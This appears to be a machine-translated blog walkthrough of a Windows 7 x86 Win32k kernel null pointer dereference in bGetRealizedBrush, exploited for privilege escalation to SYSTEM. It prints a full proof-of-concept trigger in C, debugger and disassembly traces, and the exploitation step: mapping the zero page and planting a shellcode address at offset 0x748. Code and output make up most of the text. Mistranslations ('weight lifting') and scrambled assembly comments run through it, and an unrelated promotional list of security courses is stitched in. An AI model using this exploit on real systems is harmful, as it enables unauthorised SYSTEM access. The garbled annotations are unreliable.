A preface.

1. Vulnerability Information This vulnerability is generated in bGetRealizedBrush in Win32K. It is a kernel null pointer dereferencing vulnerability, which can be used to complete weight lifting operation. Because there is a public POC, it is easy to analyze and exploit this vulnerability. The POC code is as follows:

/** * Author: bee13oy of CloverSec Labs * BSoD on Windows 7 SP1 x86 / Windows 10 x86 * EoP to SYSTEM on Windows 7 SP1 x86 **/ #include  <Windows.h> #pragma comment(lib, "gdi32.lib") #pragma comment(lib, "user32.lib") #ifndef W32KAPI #define W32KAPI DECLSPEC_ADDRSAFE #endif unsigned int demo_CreateBitmapIndirect(void) { static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 }; static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0, 0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 }; bitmap.bmBits = bits; SetLastError(NO_ERROR); HBITMAP hBitmap = CreateBitmapIndirect(&bitmap); return (unsigned int)hBitmap; } #define eSyscall_NtGdiSetBitmapAttributes 0x1110 W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1) { HMODULE _H_NTDLL = NULL; PVOID addr_kifastsystemcall = NULL; _H_NTDLL = LoadLibrary(TEXT("ntdll.dll")); addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall"); __asm { push argv1; push argv0; push 0x00; mov eax, eSyscall_NtGdiSetBitmapAttributes; mov edx, addr_kifastsystemcall; call edx; add esp, 0x0c; } } void Trigger_BSoDPoc() { HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect(); HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9); RECT rect = { 0 }; rect.left = 0x368c; rect.top = 0x400000; HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect); HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0); SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2); HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13); FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush); } int main() { Trigger_BSoDPoc(); return 0; }Copy the code

2. Experimental environment

  • Operating system: Win7 x86 SP1
  • Compiler: Visual Studio 2017
  • Debugger: IDA, WinDbg

1, Network security learning route 2, electronic books (white hat) 3, security factory internal video 4, 100 SRC documents 5, common security comprehensive questions 6, CTF competition classic topic analysis 7, complete kit 8, emergency response notes

Ii. Vulnerability analysis

The crash occurred in Win32K! BGetRealizedBrush offsets the address 0x38. [eax + 0x24] [0x24] is not a valid address.

kd> g KDTARGET: Refreshing KD connection Access violation - code c0000005 (!!! second chance !!!) win32k! bGetRealizedBrush+0x38: 96980560 f6402401 test byte ptr [eax+24h],1 1: kd> r eax eax=00000000 1: kd> k ChildEBP RetAddr 9c3339a0 969834af win32k! bGetRealizedBrush+0x38 9c3339b8 969f9b5e win32k! pvGetEngRbrush+0x1f 9c333a1c 96a7b6e8 win32k! EngBitBlt+0x337 9c333a54 96a7bb9d win32k! EngPaint+0x51 9c333c20 83e781ea win32k! NtGdiFillRgn+0x339 9c333c20 77c270b4 nt! KiFastCallEntry+0x12a 0012feac 77dd066b ntdll! KiFastSystemCallRet 0012feb0 77dd064f gdi32! NtGdiFillRgn+0xc 0012fed0 0042ba63 gdi32! FillRgn+0xb2Copy the code

According to the offset, the corresponding code can be found in IDA. According to the analysis of IDA, it can be known that at this time, the data in EBRUSHOBJ offset 0x34 is 0, resulting in the crash

.text:BF840543 loc_BF840543: ; CODE XREF: BGetRealizedBrush (BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12↑j .text:BF840543 push ebx .text:BF840544 mov ebx, [ebp+arg_4] ; Assign the second argument to ebx, Text :BF840547 push esi. text:BF840548 xor ESI, esi. text:BF84054A mov [eBP +var_24], eax .text:BF84054D mov eax, [ebx+34h] ; Text :BF840550 MOV [eBP +arg_0], esi. text:BF840553 mov [eBP +var_2C], esi .text:BF840556 mov [ebp+var_28], 0 .text:BF84055A mov eax, [eax+1Ch] .text:BF84055D mov [ebp+arg_4], eax .text:BF840560 test byte ptr [eax+24h], 1 ; Text :BF840564 mov [eBP +var_1C], esi.text :BF840567 mov [eBP +var_10], esI.text :BF84056A jz short loc_BF84057ACopy the code

3. Exploitation of loopholes

The reason for the crash is that address 0 is not a valid address. Therefore, you only need to apply for a piece of memory in address 0 and make address 0 valid to prevent the crash and continue to run the program. At the same time, there are function calls in the function that execute ShellCode by changing the relevant data.

There are three places in the bGetRealizedBrush function where the function call is made. Two of these locations are as follows, both of which are function calls with the third argument. These two positions are not available because there is no control over the third parameter.

.text:BF840763 loc_BF840763:                          
.text:BF840763                 or      eax, 80000000h
.text:BF840768                 push    eax
.text:BF840769                 push    esi
.text:BF84076A                 push    esi
.text:BF84076B                 push    esi
.text:BF84076C                 push    ecx
.text:BF84076D                 push    ebx
.text:BF84076E                 call    [ebp+arg_8]
.text:BF840771                 test    eax, eax
.text:BF840773                 jz      short loc_BF84077D
    。。。
.text:BF840C27 loc_BF840C27:                       
.text:BF840C27                 push    [ebp+var_24]
.text:BF840C2A                 push    esi
.text:BF840C2B                 push    [ebp+var_1C]
.text:BF840C2E                 push    ecx
.text:BF840C2F                 push    eax
.text:BF840C30                 push    ebx
.text:BF840C31                 call    [ebp+arg_8]
Copy the code

The other position is available because ebx has not changed since it was assigned to the second parameter, the EBRUSHOBJ structure. Therefore, eAX at this time is the data of EBRUSHOBJ offset 0x34, which is 0. Therefore, as long as the contents of address 0x748 are assigned to ShellCode’s address, ShellCode will be successfully executed below to complete the weightlifting due to call EDI execution.

.text:BF8407E4 mov eax, [ebx+34h] ; Eax =EBRUSHOBJ offset 0x34. Text :BF8407E7 xor ecx, ecx. text:BF8407E9 CMP dword PTR [eAX +3Ch], 1. text:BF8407ED mov eax, [ebp+arg_4] .text:BF8407F0 mov edi, [eax+748h] ; edi = [eax+0x748] = [0x748] .text:BF8407F6 setz cl .text:BF8407F9 inc ecx .text:BF8407FA mov [ebp+var_14], ecx .text:BF8407FD cmp edi, esi .text:BF8407FF jz short loc_BF840823 .text:BF840801 test dword ptr [eax+24h], 8000h .text:BF840808 jnz short loc_BF840810 .text:BF84080A mov eax, [eax+464h] .text:BF840810 .text:BF840810 loc_BF840810: ; .text:BF840810 mov ecx, [ebp+var_2C] .text:BF840813 mov ecx, [ecx+2Ch] .text:BF840816 mov edx, [ebx+0Ch] .text:BF840819 push ecx .text:BF84081A push edx .text:BF84081B push [ebp+var_14] .text:BF84081E push eax .text:BF84081F call edi ; Text :BF840821 JMP short loc_BF840837Copy the code

To reach the function call here, you need to bypass two validations below. Eax and ESI are 0, so [0x590] and [0x592] are 0.

.text:BF840799 loc_BF840799: .text:BF840799 movzx edx, word ptr [eax+590h] .text:BF8407A0 cmp dx, si .text:BF8407A3 jz loc_BF8406F7 ; Text :BF8407A9 add eax, 592h. Text :BF8407AE CMP [eAX], si. [0x592] Indicates whether the value is 0Copy the code

If you jump to loc_BF8406F, you cannot reach the point where the function call is completed, so neither of these places can be 0. Therefore, after allocating memory at address 0, in addition to assigning ShellCode addresses at 0x748, we also need to assign non-zero values to 0x590 and 0x592.

BOOL Init_2016_0095() { BOOL bRet = TRUE; if (! AllocateZeroMemory()) { bRet = FALSE; goto exit; } *(PWORD)0x590 = 0x1; *(PWORD)0x592 = 0x1; *(PDWORD)0x748 = (DWORD)&ShellCode_2016_0059; exit: return bRet; }Copy the code

Exp is run after the breakpoint at the crash point. At this point, because address 0 is valid, no crash will occur and the program can continue down.

3: kd> ba e1 win32k! bGetRealizedBrush+0x38 3: kd> g Breakpoint 0 hit win32k! bGetRealizedBrush+0x38: 96de0560 f6402401 test byte ptr [eax+24h],1 0: kd> p win32k! bGetRealizedBrush+0x3c: 96de0564 8975e4 mov dword ptr [ebp-1Ch],esi 0: kd> r eax eax=00000000Copy the code

Continue down to the first verification, where si is 0, and since 0x590 has been written to 1, dx is not 0 and the jump does not occur.

1: kd> p win32k! bGetRealizedBrush+0x271: 96de0799 0fb79090050000 movzx edx,word ptr [eax+590h] 1: kd> p win32k! bGetRealizedBrush+0x278: 96de07a0 663bd6 cmp dx,si 1: kd> p win32k! bGetRealizedBrush+0x27b: 96de07a3 0f844effffff je win32k! bGetRealizedBrush+0x1cf (96de06f7) 1: kd> r dx dx=1 1: kd> r si si=0 1: kd> r eax eax=00000000Copy the code

Continue to the second validation, at which point, again, no jump occurs.

1: kd> p win32k! bGetRealizedBrush+0x281: 96de07a9 0592050000 add eax,592h 1: kd> p win32k! bGetRealizedBrush+0x286: 96de07ae 663930 cmp word ptr [eax],si 1: kd> p win32k! bGetRealizedBrush+0x289: 96de07b1 0f8440ffffff je win32k! bGetRealizedBrush+0x1cf (96de06f7) 1: kd> r si si=0 1: kd> r eax eax=00000592 1: kd> db 00000592 00000592 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000005a2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................Copy the code

Continue running until the contents of address 0x748 are assigned to EDI, where EDI will be the address of ShellCode.

1: kd> p win32k! bGetRealizedBrush+0x2c8: 96de07f0 8bb848070000 mov edi,dword ptr [eax+748h] 1: kd> p win32k! bGetRealizedBrush+0x2ce: 96de07f6 0f94c1 sete cl 1: kd> r edi edi=00401050Copy the code

When running to the function call, EDI still keeps the ShellCode address

1: kd> p win32k! bGetRealizedBrush+0x2f1: 96de0819 51 push ecx 1: kd> p win32k! bGetRealizedBrush+0x2f2: 96de081a 52 push edx 1: kd> p win32k! bGetRealizedBrush+0x2f3: 96de081b ff75ec push dword ptr [ebp-14h] 1: kd> p win32k! bGetRealizedBrush+0x2f6: 96de081e 50 push eax 1: kd> p win32k! bGetRealizedBrush+0x2f7: 96de081f ffd7 call edi 1: kd> r edi edi=00401050Copy the code

If we continue, we execute ShellCode to complete the lift

Finally, the program will successfully lift the rights, as shown in the following figure: